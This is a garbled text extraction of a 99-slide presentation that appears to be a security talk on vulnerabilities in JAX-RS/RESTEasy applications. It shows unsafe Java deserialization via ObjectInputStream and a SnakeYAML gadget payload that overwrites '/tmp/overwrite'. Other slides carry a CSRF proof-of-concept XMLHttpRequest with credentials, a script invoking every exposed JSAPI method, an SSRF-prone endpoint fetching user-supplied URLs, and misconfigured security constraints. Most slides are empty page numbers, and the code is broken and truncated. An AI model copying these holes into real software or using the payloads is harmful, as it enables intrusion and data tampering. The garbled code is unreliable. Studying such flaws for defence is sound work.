2 / 99

Transcription

1

2 2 / 99

3 3 / 99

4 4 / 99

5 5 / 99

6 6 / 99

7

8 8 / public class DummyApp extends Application { }

9 public class DummyResource { 9 public Response queryparam(@queryparam("value") String public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} }

10 public class DummyResource { Relative URI path for resource 10 public Response queryparam(@queryparam("value") String public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} }

11 public class DummyResource { MIME media type 11 public Response queryparam(@queryparam("value") String public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} }

12 public class DummyResource { 12 public Response queryparam(@queryparam("value") String public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} Resource methods }

13 public class DummyResource HTTP method annotations: GET, POST, PUT, DELETE, public Response queryparam(@queryparam("value") String param) {...} 13 public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} }

14 public class DummyResource { 14 / Relative URI path for public Response queryparam(@queryparam("value") String public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} }

15 public class DummyResource { 15 / Is extracted from URI query parameter public Response queryparam(@queryparam("value") String param) Is extracted from X-Echo public Response headerparam(@headerparam("x-echo") String Is extracted from body parameter value public Response formparam(@formparam("value") String param) Entity parameter (w/o public Response entityparam(string param) {...} }

16 16 / 99

17 17 / 99

18 18 / 99

19 19 / 99

20

21 21 / 99

22 22 / 99

23 23 / 99

24 24 / 99

25 25 / 99

26 26 / 99

27 27 / 99

28 28 / 99

29 29 / 99

30 30 / 99

31 31 / 99 </web-app> <servlet> <servlet-name>resteasy JSAPI</servlet-name> <servlet-class>org.jboss.resteasy.jsapi.jsapiservlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>resteasy JSAPI</servlet-name> <url-pattern>/unsafe-jaxrs/resteasy/rest-js</url-pattern> </servlet-mapping> </web-app>

32 32 / 99

33 33 / 99 <script src=" type="text/javascript"></script> <script> var resmethods = Object.getOwnPropertyNames(PoC_resource); for (var i = 0; i < resmethods.length; i++) { try { PoC_resource[resMethods[i]].call(PoC_resource); } catch (err) { ; } } </script>

34 34 / public class PublicResource { public Response somemethod(@pathparam("name") String name) { return Response.status(200).entity("Public").build(); }

35 35 / public class PrivateResource { public Response String String id ) { return Response.status(200).entity("Private").build(); }

36 <?xml version="1.0" encoding="utf-8"?> <web-app> <security-constraint> <web-resource-collection> <web-resource-name>app</web-resource-name> <url-pattern>/rest/echo/*</url-pattern> </web-resource-collection> </security-constraint> <security-constraint> <web-resource-collection> <web-resource-name>app</web-resource-name> <url-pattern>/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>authorizeduser</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>basic</auth-method> <realm-name>the Restricted Zone</realm-name> </login-config> </web-app> 36 / 99

37 <?xml version="1.0" encoding="utf-8"?> <web-app> <security-constraint> <web-resource-collection> <web-resource-name>app</web-resource-name> <url-pattern>/rest/echo/*</url-pattern> </web-resource-collection> </security-constraint> <security-constraint> <web-resource-collection> <web-resource-name>app</web-resource-name> <url-pattern>/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>authorizeduser</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>basic</auth-method> <realm-name>the Restricted Zone</realm-name> </login-config> </web-app> Doesn t require auth Requires auth 37 / 99

38 38 / 99

39 39 / 99

40 40 / 99

41 41 / 99

42 42 / 99

43 43 / 99

44 44 / 99

45 45 / 99

46

47 47 @Consumes("*/*") public class SerializableProvider implements MessageBodyReader { public boolean isreadable(class<?> type, Type generictype, Annotation[] annotations, MediaType mediatype) { // Implementation } } public Serializable readfrom(class<serializable> type, Type generictype, Annotation[] annotations, MediaType mediatype, MultivaluedMap<String, String> httpheaders, InputStream entitystream) throws Exception { // Implementation }

48 48 / 99

49 49 / public class PoC_app extends ResourceConfig { public PoC_app() { } }

50 50 / 99

51 51 / 99

52 52 / 99

53 53 / 99

54 54 / 99

55 55 / 99

56 56 / 99 public boolean isreadable(class<?> type, Type generictype, Annotation[] annotations, MediaType mediatype) { return Serializable.class.isAssignableFrom(type) && APPLICATION_SERIALIZABLE_TYPE.getType().equals(mediaType.getType()) && APPLICATION_SERIALIZABLE_TYPE.getSubtype().equals(mediaType.getSubtype()); }

57 public Serializable readfrom(class<serializable> type, Type generictype, Annotation[] annotations, MediaType mediatype, MultivaluedMap<String, String> httpheaders, InputStream entitystream) throws Exception { BufferedInputStream bis = new BufferedInputStream(entityStream); ObjectInputStream ois = new ObjectInputStream(bis); try { return Serializable.class.cast(ois.readObject()); } catch (ClassNotFoundException e) { throw new WebApplicationException(e); } } 57 / 99

58 58 public Map<String, String> doconcat(pair pair) { HashMap<String, String> result = new HashMap<String, String>(); result.put("result", pair.getp1() + pair.getdelimiter() + pair.getp2()); } return result;

59 59 / 99 public class Pair implements Serializable { private static final long serialversionuid = 1L; private String P1; private String P2; }...

60 60 / 99

61 61 / 99

62 public boolean isreadable(class<?> type, Type generictype, Annotation[] annotations, MediaType mediatype) { return true; } 62 / 99

63 String yaml = "---!!java.io.fileoutputstream [/tmp/overwrite]"; Object o = new Yaml().load(yaml); 63 / 99

64 64 @Produces(MediaType.TEXT_PLAIN) public Response doconcat1( Pair p ) { return Response.status(200).entity(p.getP1() + p.getp2()).build(); } ---!!java.io.fileoutputstream [/tmp/overwrite]

65 65 @Produces(MediaType.TEXT_PLAIN) public Response doconcat2( ArrayList<Pair> p ) { } return Response.status(200).entity(p.get(0).getP1() + p.get(0).getp2()).build(); list: [!!java.io.fileoutputstream [/tmp/overwrite]]

66 66 / 99

67 67 / 99

68 public boolean isreadable(final Class<?> type, final Type generictype, final Annotation[] annotations, final MediaType mediatype) { return true; } 68 / 99

69 69 / 99

70 70 public Map<String, String> doconcat(pair pair) { HashMap<String, String> result = new HashMap<String, String>(); result.put("result", pair.getp1() + pair.getdelimiter() + pair.getp2()); } return result;

71 71 / 99

72 72 / 99

73 public boolean isreadable(class<?> type, Type generictype, Annotation[] annotations, MediaType mediatype) { return!string.class.equals(type) && TypeConverter.isConvertable(type); } 73 / 99

74 74 @Produces(MediaType.APPLICATION_JSON) public Response deleteprofile(profile profile) { String result = "{\"status\":\"" + profile.delete() + "\"}"; } return Response.status(200).entity(result).build();

75 75 / 99 public class Profile { private String DisplayName; private String ; private String uid; } public Profile() {} public Profile(String uid) { this.uid = uid; } public String delete() { // SOME LOGIC TO FIND PROFILE BY UID AND DELETE IT return "Deleted"; }

76 <script> var request = new XMLHttpRequest(); var data = '12345'; request.open('post', ' true); request.withcredentials = true; request.setrequestheader("content-type", "text/plain"); request.send(data); </script> 76 / 99

77 77 / 99

78 public boolean isreadable(class<?> type, Type generictype, Annotation[] annotations, MediaType mediatype) { return type.equals(map.class) && generictype!= null && generictype instanceof ParameterizedType; } 78 / 99

79 79 @Consumes(MediaType.MULTIPART_FORM_DATA) public Response domultipart(map<string,string[]> map) { } return Response.ok().build();

80 80 / 99

81

82 82 / 99

83 83 @Produces(MediaType.APPLICATION_JSON) public Response getfromremoteapp(@queryparam("url") String url) { Client client = ClientBuilder.newBuilder().build(); } WebTarget target = client.target(url); Response response = target.request().get(); ArrayList value = response.readentity(arraylist.class); response.close(); return Response.status(200).entity(value).build();

84 84 / 99

85 85 / 99

86

87 <context-param> <param-name>resteasy.async.job.service.enabled</param-name> <param-value>true</param-value> </context-param> 87 / 99

88 88 @Produces(MediaType.APPLICATION_JSON) public Profile doshowprofile() { } return new Profile();

89 89 / 99

90 <img src=" /> 90 / 99

91 91 / 99

92 String id = "" + System.currentTimeMillis() + "-" + counter.incrementandget(); 92 / 99

93 93 / 99

94

95 95 / 99

96 96 / 99

97 97 / 99

98 98 / 99

99